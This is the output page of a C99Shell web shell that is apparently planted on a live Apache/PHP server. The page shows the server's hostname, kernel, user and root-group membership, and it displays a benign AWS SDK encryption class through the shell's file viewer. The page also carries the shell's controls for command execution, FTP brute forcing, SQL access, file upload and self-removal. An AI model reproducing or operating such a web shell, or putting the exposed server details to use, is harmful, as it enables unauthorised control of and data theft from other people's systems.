!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/Crypto/   drwxr-xr-x
Free 28.73 GB of 117.98 GB (24.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AesGcmEncryptingStream.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Crypto;

use 
Aws\Crypto\Polyfill\AesGcm;
use 
Aws\Crypto\Polyfill\Key;
use 
GuzzleHttp\Psr7;
use 
GuzzleHttp\Psr7\StreamDecoratorTrait;
use 
Psr\Http\Message\StreamInterface;
use 
\RuntimeException;

/**
 * @internal Represents a stream of data to be gcm encrypted.
 */
class AesGcmEncryptingStream implements AesStreamInterfaceAesStreamInterfaceV2
{
    use 
StreamDecoratorTrait;

    private 
$aad;

    private 
$initializationVector;

    private 
$key;

    private 
$keySize;

    private 
$plaintext;

    private 
$tag '';

    private 
$tagLength;

    
/**
     * @var StreamInterface
     */
    
private $stream;

    
/**
     * Same as non-static 'getAesName' method, allowing calls in a static
     * context.
     *
     * @return string
     */
    
public static function getStaticAesName()
    {
        return 
'AES/GCM/NoPadding';
    }

    
/**
     * @param StreamInterface $plaintext
     * @param string $key
     * @param string $initializationVector
     * @param string $aad
     * @param int $tagLength
     * @param int $keySize
     */
    
public function __construct(
        
StreamInterface $plaintext,
        
$key,
        
$initializationVector,
        
$aad '',
        
$tagLength 16,
        
$keySize 256
    
) {

        
$this->plaintext $plaintext;
        
$this->key $key;
        
$this->initializationVector $initializationVector;
        
$this->aad $aad;
        
$this->tagLength $tagLength;
        
$this->keySize $keySize;
        
// unsetting the property forces the first access to go through
        // __get().
        
unset($this->stream);
    }

    public function 
getOpenSslName()
    {
        return 
"aes-{$this->keySize}-gcm";
    }

    
/**
     * Same as static method and retained for backwards compatibility
     *
     * @return string
     */
    
public function getAesName()
    {
        return 
self::getStaticAesName();
    }

    public function 
getCurrentIv()
    {
        return 
$this->initializationVector;
    }

    public function 
createStream()
    {
        if (
version_compare(PHP_VERSION'7.1''<')) {
            return 
Psr7\Utils::streamFor(AesGcm::encrypt(
                (string) 
$this->plaintext,
                
$this->initializationVector,
                new 
Key($this->key),
                
$this->aad,
                
$this->tag,
                
$this->keySize
            
));
        } else {
            return 
Psr7\Utils::streamFor(\openssl_encrypt(
                (string)
$this->plaintext,
                
$this->getOpenSslName(),
                
$this->key,
                
OPENSSL_RAW_DATA,
                
$this->initializationVector,
                
$this->tag,
                
$this->aad,
                
$this->tagLength
            
));
        }
    }

    
/**
     * @return string
     */
    
public function getTag()
    {
        return 
$this->tag;
    }

    public function 
isWritable(): bool
    
{
        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--